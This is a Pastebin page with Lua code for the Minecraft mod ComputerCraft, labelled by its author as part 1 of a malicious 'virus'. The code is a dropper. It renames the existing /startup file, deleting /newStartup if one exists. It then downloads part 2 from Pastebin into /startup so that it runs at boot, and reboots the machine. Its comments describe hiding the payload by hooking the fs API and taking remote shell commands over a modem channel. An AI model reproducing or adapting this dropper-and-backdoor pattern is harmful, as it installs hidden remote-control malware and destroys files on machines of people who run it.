Piorjade

ComputerCraft "Virus" - Part 1

Jan 6th, 2018
161
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.42 KB | None | 0 0
  1. --This program is to be considered as malicious.
  2. --It will use TLCO to get to the top level, hide itself and allow computers to execute commands remotely
  3. --by using the modem API. The reason it uses TLCO is that 1. it is easier to let it hide itself with that and
  4. --2. we can easily hide all of the modem messages that are directed towards that payload.
  5.  
  6. --HOW TO USE:
  7. --  * Use another computer and wrap the modem using the peripheral API (RedNet does not work)
  8. --  * Send shell commands on channel 6969 and have fun!
  9.  
  10. --NOTE:
  11. --  This is "part 1" of the "virus".
  12. --  Part 1 is supposed to be ran for the first time only,
  13. --  it basically downloads part 2, checks whether a "startup" file already exists and moves it to
  14. --  "newStartup" if it does, moves and renames part 2 to /startup, and starts it up.
  15. --
  16. --  Part 2 actually modifies the fs API to hide itself and contains the actual "virus"
  17. --  You basically have to "pastebin run [...]" this program, not download it.
  18.  
  19.  
  20. --Download part 2, check for /startup (move to /newStartup if it exists), move part 2 to /startup and boot it
  21. if fs.exists("/startup") then
  22.     --Notice that if /newStartup already exists, it gets deleted (well this is malicious software anyway so I don't care about that)
  23.     if fs.exists("/newStartup") then fs.delete("/newStartup") end
  24.     fs.move("/startup", "/newStartup")
  25. end
  26.  
  27. --Download and run part 2
  28. shell.run("pastebin get HvzHBEYC /startup")
  29. os.reboot()
Advertisement
Add Comment
Please, Sign In to add comment